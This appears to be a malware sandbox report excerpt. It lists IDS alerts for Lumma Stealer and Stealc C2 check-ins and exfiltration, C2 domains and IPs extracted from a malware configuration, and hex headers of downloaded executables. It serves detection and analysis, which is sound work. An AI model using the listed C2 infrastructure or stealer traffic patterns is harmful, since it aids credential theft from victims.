Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54906 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58616 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58618 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58620 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58621 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58623 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58624 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58627 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:58626 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:58629 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:58669 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49893 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58616 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58616 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:58624 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:58618 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58618 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58629 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49921 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49921 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49919 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50043 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:58627 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:15:10 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:15:14 GMTContent-Type: application/octet-streamContent-Length: 1873920Last-Modified: Thu, 31 Oct 2024 03:03:32 GMTConnection: keep-aliveETag: "6722f384-1c9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4a 00 00 04 00 00 90 ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 27 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 27 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6c 65 67 6c 70 6a 70 00 80 19 00 00 b0 30 00 00 7c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 6e 63 62 64 65 77 00 10 00 00 00 30 4a 00 00 04 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4a 00 00 22 00 00 00 76 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:08 GMTContent-Type: application/octet-streamContent-Length: 3003904Last-Modified: Thu, 31 Oct 2024 03:03:12 GMTConnection: keep-aliveETag: "6722f370-2dd600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 31 00 00 04 00 00 aa 22 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 66 62 6f 79 68 62 6c 00 20 2b 00 00 b0 05 00 00 1a 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 69 72 64 66 61 75 6e 00 10 00 00 00 d0 30 00 00 06 00 00 00 ae 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 30 00 00 22 00 00 00 b4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:14 GMTContent-Type: application/octet-streamContent-Length: 2085888Last-Modified: Thu, 31 Oct 2024 03:03:25 GMTConnection: keep-aliveETag: "6722f37d-1fd400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 71 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 71 00 00 04 00 00 b8 9b 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 73 69 73 6f 71 6f 69 00 30 19 00 00 f0 57 00 00 24 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 67 78 69 71 63 74 6e 00 10 00 00 00 20 71 00 00 04 00 00 00 ae 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 71 00 00 22 00 00 00 b2 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:21 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 02:58:24 GMTConnection: keep-aliveETag: "6722f250-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 12 c3 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:27 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 